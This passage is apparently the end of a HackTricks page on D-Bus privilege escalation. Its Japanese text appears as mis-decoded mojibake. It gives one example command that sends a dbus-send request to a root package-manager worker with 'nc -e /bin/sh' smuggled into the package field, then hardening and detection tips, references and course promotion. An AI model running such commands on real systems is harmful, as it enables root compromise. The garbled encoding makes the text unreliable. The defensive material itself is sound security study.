ã¯ããã±ãŒãžãããŒãžã£ã¯ãŒã«ãŒã«ä»»æã®RPMãã€ã³ã¹ããŒã«ãããããšãã§ããŸãã | dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}' |
泚æãã¹ããã¿ãŒã³ïŒ
- ãµãŒãã¹ãã·ã¹ãã ãã¹äžã§rootãšããŠå®è¡ãããã
- PolicyKitãã§ãã¯ããªãïŒãŸãã¯ãããã·ã«ãã£ãŠãã€ãã¹ãããŠããïŒã
- ã¡ãœãããæçµçã«
system()/ããã±ãŒãžã®ã€ã³ã¹ããŒã«/ããã€ã¹ã®åæ§æã«ã€ãªãã â ã³ãŒãå®è¡ã
dbusmap --enable-probesãŸãã¯æåã®busctl callã䜿çšããŠãããããé©åãªpolkit_authority_check_authorization()ããžãã¯ãããã¯ããŒãããŠããã確èªããŸãã
ããŒããã³ã° & æ€åºã®ã¯ã€ãã¯ãŠã£ã³
- äžçæžã蟌ã¿å¯èœãŸãã¯éä¿¡/åä¿¡ãªãŒãã³ããªã·ãŒãæ€çŽ¢ïŒ
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
- å±éºãªã¡ãœããã«ã¯PolkitãèŠæ±ãã â rootãããã·ã§ãããç¬èªã®PIDã§ã¯ãªãåŒã³åºãå
PIDã
polkit_authority_check_authorization_sync()ã«æž¡ãã¹ãã§ãã - é·æéå®è¡ããããã«ããŒã§ç¹æš©ãããããããïŒãã¹ã«æ¥ç¶ããåŸã«åå空éãåãæ¿ããããã«
sd_pid_get_owner_uid()ã䜿çšïŒã - ãµãŒãã¹ãåé€ã§ããªãå Žåã¯ãå°ãªããšããããå°çšã®Unixã°ã«ãŒãã«ã¹ã³ãŒããããã®XMLããªã·ãŒã§ã¢ã¯ã»ã¹ãå¶éããŸãã
- ãã«ãŒããŒã ïŒ
busctl capture --output=/var/log/dbus_$(date +%F).pcapã䜿çšããŠã·ã¹ãã ãã¹ã®æ°žç¶çãªãã£ããã£ãæå¹ã«ããWiresharkã«ã€ã³ããŒãããŠç°åžžæ€åºãè¡ããŸãã
åèæç®
-
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
-
https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html
-
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


